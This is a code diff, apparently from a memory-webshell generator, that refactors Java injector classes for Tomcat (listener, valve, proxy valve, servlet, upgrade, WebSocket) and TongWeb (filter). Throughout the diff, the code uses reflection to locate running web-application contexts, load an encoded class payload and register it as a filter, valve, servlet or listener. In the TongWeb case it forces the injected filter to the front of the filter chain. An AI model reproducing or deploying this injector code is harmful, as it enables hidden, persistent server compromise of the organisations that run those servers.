||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
+35
-40
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -53,23 +53,6 @@ public class TomcatListenerInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -107,7 +90,24 @@ public class TomcatListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -226,30 +226,25 @@ public class TomcatListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+29
-27
@@ -8,7 +8,9 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
private static String msg = "";
|
private static String msg = "";
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
public TomcatProxyValveInjector() {
|
public TomcatProxyValveInjector() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
@@ -31,7 +41,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -49,36 +59,11 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||||
this.rawValve = rawValve;
|
this.rawValve = rawValve;
|
||||||
this.proxyValve = proxyValve;
|
this.proxyValve = proxyValve;
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getClassName() {
|
|
||||||
return "{{className}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getBase64String() {
|
|
||||||
return "{{base64Str}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||||
if ("invoke".equals(method.getName())) {
|
if ("invoke".equals(method.getName())) {
|
||||||
@@ -133,6 +118,23 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
+21
-19
@@ -8,7 +8,9 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -42,7 +44,7 @@ public class TomcatServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -60,23 +62,6 @@ public class TomcatServletInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -114,6 +99,23 @@ public class TomcatServletInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
+18
-18
@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -55,23 +55,6 @@ public class TomcatUpgradeInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* org.apache.catalina.core.StandardContext
|
* org.apache.catalina.core.StandardContext
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
@@ -113,6 +96,23 @@ public class TomcatUpgradeInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|||||||
+18
-18
@@ -35,7 +35,7 @@ public class TomcatValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -53,23 +53,6 @@ public class TomcatValveInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -107,6 +90,23 @@ public class TomcatValveInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|||||||
+21
-19
@@ -7,7 +7,9 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -41,7 +43,7 @@ public class TomcatWebSocketInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -59,23 +61,6 @@ public class TomcatWebSocketInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -113,6 +98,23 @@ public class TomcatWebSocketInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
+61
-40
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -43,7 +44,7 @@ public class TongWebFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -116,7 +117,7 @@ public class TongWebFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -149,24 +150,28 @@ public class TongWebFilterInjector {
|
|||||||
String filterClassName = getClassName();
|
String filterClassName = getClassName();
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
Constructor<?> constructor;
|
Constructor<?> constructor;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tongweb 7
|
// tongweb 7
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
try {
|
try {
|
||||||
// tongweb 6
|
// tongweb 6
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tongweb 8
|
// tongweb 8
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
@@ -174,7 +179,13 @@ public class TongWebFilterInjector {
|
|||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
|
||||||
|
// addFilterMapFirst
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
||||||
|
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
||||||
|
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
Object filterConfig = constructor.newInstance(context, filterDef);
|
Object filterConfig = constructor.newInstance(context, filterDef);
|
||||||
@@ -221,48 +232,58 @@ public class TongWebFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
|
||||||
try {
|
|
||||||
if (paramClazz == null) {
|
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
|
||||||
} else {
|
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
if (paramClazz == null) {
|
||||||
field.setAccessible(true);
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
return field.get(obj);
|
} else {
|
||||||
} catch (NoSuchFieldException var5) {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
